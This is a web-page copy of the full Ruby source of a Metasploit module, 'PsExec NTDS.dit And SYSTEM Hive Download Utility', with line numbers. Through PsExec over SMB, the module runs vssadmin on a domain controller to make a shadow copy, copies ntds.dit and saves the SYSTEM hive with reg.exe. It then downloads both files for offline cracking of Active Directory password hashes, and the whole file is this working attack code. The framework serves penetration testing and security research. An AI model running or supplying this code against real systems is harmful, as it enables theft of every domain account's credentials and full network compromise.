Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
23734 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
# Exploit mixins should be called first
9
include Msf::Exploit::Remote::SMB::Client::Psexec
10
include Msf::Auxiliary::Report
11
include Msf::OptionalSession::SMB
12
13
# Aliases for common classes
14
SIMPLE = Rex::Proto::SMB::SimpleClient
15
XCEPT = Rex::Proto::SMB::Exceptions
16
CONST = Rex::Proto::SMB::Constants
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',
23
'Description' => %q{
24
This module authenticates to an Active Directory Domain Controller and creates
25
a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the
26
ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM
27
hive copy can be used in combination with other tools for offline extraction of AD
28
password hashes. All of this is done without uploading a single binary to the
29
target host.
30
},
31
'Author' => [
32
'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__
33
],
34
'License' => MSF_LICENSE,
35
'References' => [
36
[ 'URL', 'http://sourceforge.net/projects/smbexec' ],
37
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
38
[ 'ATT&CK', Mitre::Attack::Technique::T1003_003_NTDS ]
39
],
40
'Notes' => {
41
'Stability' => [CRASH_SAFE],
42
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK],
43
'Reliability' => []
44
}
45
)
46
)
47
48
register_options([
49
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
50
OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),
51
OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),
52
OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]),
53
])
54
end
55
56
# This is the main control method
57
def run
58
# Initialize some variables
59
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
60
bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
61
createvsc = 'vssadmin create shadow /For=%SYSTEMDRIVE%'
62
@ip = datastore['RHOST']
63
@smbshare = datastore['SMBSHARE']
64
# Try and connect
65
if session
66
print_status("Using existing session #{session.sid}")
67
self.simple = session.simple_client
68
@ip = simple.address
69
else
70
return unless connect
71
72
# Try and authenticate with given credentials
73
begin
74
smb_login
75
rescue StandardError => e
76
print_error("Unable to authenticate with given credentials: #{e}")
77
return
78
end
79
end
80
# If a VSC was specified then don't try and create one
81
if !datastore['VSCPATH'].empty?
82
print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
83
vscpath = datastore['VSCPATH']
84
else
85
unless datastore['CREATE_NEW_VSC']
86
vscpath = check_vss(text, bat)
87
end
88
vscpath ||= make_volume_shadow_copy(createvsc, text, bat)
89
end
90
91
if vscpath
92
if copy_ntds(vscpath, text) && copy_sys_hive
93
download_ntds(datastore['WINPATH'] + '\\Temp\\ntds')
94
download_sys_hive(datastore['WINPATH'] + '\\Temp\\sys')
95
else
96
print_error('Failed to find a volume shadow copy. Issuing cleanup command sequence.')
97
end
98
end
99
cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")
100
disconnect
101
end
102
103
# Thids method will check if a Volume Shadow Copy already exists and use that rather
104
# then creating a new one
105
def check_vss(text, bat)
106
print_status('Checking if a Volume Shadow Copy exists already.')
107
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
108
command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
109
psexec(command)
110
data = smb_read_file(datastore['SMBSHARE'], @ip, text)
111
vscs = []
112
data.each_line { |line| vscs << line if line.include?('GLOBALROOT') }
113
if vscs.empty?
114
print_status('No VSC Found.')
115
return nil
116
end
117
vscpath = prepath + vscs[vscs.length - 1].to_s.split('ShadowCopy')[1].to_s.chomp
118
print_good("Volume Shadow Copy exists on #{vscpath}")
119
return vscpath
120
rescue StandardError => e
121
print_error("Unable to determine if VSS is enabled: #{e}")
122
return nil
123
end
124
125
# Create a Volume Shadow Copy on the target host
126
def make_volume_shadow_copy(createvsc, text, bat)
127
begin
128
# Try to create the shadow copy
129
command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
130
print_status('Creating Volume Shadow Copy')
131
psexec(command)
132
# Get path to Volume Shadow Copy
133
vscpath = get_vscpath(text)
134
rescue StandardError => e
135
print_error("Unable to create the Volume Shadow Copy: #{e}")
136
return nil
137
end
138
if vscpath
139
print_good("Volume Shadow Copy created on #{vscpath}")
140
return vscpath
141
else
142
return nil
143
end
144
end
145
146
# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host
147
def copy_ntds(vscpath, text)
148
ntdspath = vscpath.to_s + '\\' + datastore['WINPATH'] + '\\NTDS\\ntds.dit'
149
command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"
150
psexec(command)
151
if !check_ntds(text)
152
return false
153
end
154
155
return true
156
rescue StandardError => e
157
print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{e}")
158
return false
159
end
160
161
# Checks if ntds.dit was copied to the Windows Temp directory
162
def check_ntds(text)
163
print_status('Checking if NTDS.dit was copied.')
164
check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"
165
psexec(check)
166
output = smb_read_file(@smbshare, @ip, text)
167
if output.include?('ntds')
168
return true
169
end
170
171
return false
172
end
173
174
# Copies the SYSTEM hive file to the Temp directory on the target host
175
def copy_sys_hive
176
# Try to create the sys hive copy
177
command = '%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y'
178
return psexec(command)
179
rescue StandardError => e
180
print_error("Unable to copy the SYSTEM hive file: #{e}")
181
return false
182
end
183
184
# Download the ntds.dit copy to your attacking machine
185
def download_ntds(file)
186
print_status('Downloading ntds.dit file')
187
begin
188
# Try to download ntds.dit
189
simple.connect("\\\\#{@ip}\\#{@smbshare}")
190
remotefile = simple.open(file.to_s, 'rob')
191
data = remotefile.read
192
remotefile.close
193
ntds_path = store_loot('psexec.ntdsgrab.ntds', 'application/octet-stream', @ip, data, 'ntds.dit')
194
print_good("ntds.dit stored at #{ntds_path}")
195
rescue StandardError => e
196
print_error("Unable to download ntds.dit: #{e}")
197
return e
198
end
199
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
200
end
201
202
# Download the SYSTEM hive copy to your attacking machine
203
def download_sys_hive(file)
204
print_status('Downloading SYSTEM hive file')
205
begin
206
# Try to download SYSTEM hive
207
simple.connect("\\\\#{@ip}\\#{@smbshare}")
208
remotefile = simple.open(file.to_s, 'rob')
209
data = remotefile.read
210
remotefile.close
211
hive_path = store_loot('psexec.ntdsgrab.hive', 'application/octet-stream', @ip, data, 'system-hive')
212
print_good("SYSTEM hive stored at #{hive_path}")
213
rescue StandardError => e
214
print_error("Unable to download SYSTEM hive: #{e}")
215
return e
216
end
217
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
218
end
219
220
# Gets the path to the Volume Shadow Copy
221
def get_vscpath(file)
222
prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
223
vsc = ''
224
output = smb_read_file(@smbshare, @ip, file)
225
output.each_line do |line|
226
vsc += line if line.include?('GLOBALROOT')
227
end
228
return prepath + vsc.split('ShadowCopy')[1].chomp
229
rescue StandardError
230
print_error('Could not determine the exact path to the VSC check your WINPATH')
231
return nil
232
end
233
234
# Removes files created during execution.
235
def cleanup_after(*files)
236
simple.connect("\\\\#{@ip}\\#{@smbshare}")
237
print_status('Executing cleanup...')
238
files.each do |file|
239
if smb_file_exist?(file)
240
smb_file_rm(file)
241
end
242
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
243
print_error("Unable to cleanup #{file}. Error: #{e}")
244
end
245
left = files.collect { |f| smb_file_exist?(f) }
246
if left.any?
247
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(', ')} from the target.")
248
else
249
print_good('Cleanup was successful')
250
end
251
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
252
end
253
end
254
255